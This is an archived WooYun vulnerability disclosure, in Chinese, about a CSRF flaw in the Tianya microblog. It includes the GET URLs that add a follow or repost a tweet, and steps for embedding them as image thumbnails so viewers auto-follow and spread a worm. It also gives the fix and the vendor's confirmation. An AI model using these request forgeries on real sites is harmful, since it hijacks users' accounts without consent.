当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-020354

漏洞标题：天涯微博刷粉丝，蠕虫等。

相关厂商：天涯社区

漏洞作者： 乌云

提交时间：2013-03-20 13:27

修复时间：2013-05-04 13:27

公开时间：2013-05-04 13:27

漏洞类型：CSRF

危害等级：中

自评Rank：7

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-03-20： 细节已通知厂商并且等待厂商处理中
2013-03-21： 厂商已经确认，细节仅向厂商公开
2013-03-31： 细节向核心白帽子及相关领域专家公开
2013-04-10： 细节向普通白帽子公开
2013-04-20： 细节向实习白帽子公开
2013-05-04： 细节向公众公开

简要描述：

微博任意刷粉丝，蠕虫。

详细说明：

访问

http://my.tianya.cn/interface/recommend/follow.jsp?act=addfollow&userid=xxxx


即会添加关注。
访问

http://www.tianya.cn/api/tw?method=tweet.ice.share&_v=1363755146092&params.appId=twitter&params.title=&params.sourceName=Goodjob!&params.type=2&params.sourceLink=&params.sharedId=xxx&params.sharedUserId=xxx

即可转发相应微博。
利用方式：
1.将上述URL以微博形式发布，得到一个短网址,如http://tysurl.com/4s8Xf0。
2.重新发布微博，插入图片。按F12进入调试模式。
将阴影部分的网址替换成刚才得到的短网址（此处对应的是图片缩略图）。发布此微博。

1.png


3.微博发布成功后，通过F12，我们可以看到，刚才提交的URL已生效。

2.png


4.在话题，活动处发布此类微博， 访问者浏览包含该条微博的页面即可自动加关注或转发微博。

5.png


漏洞证明：

5.png

3.png


4.png

修复方案：

改POST,验证token,Referer

版权声明：转载请注明来源 乌云@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2013-03-21 10:36

厂商回复：

感谢提供，正在联系业务部门修复

最新状态：

暂无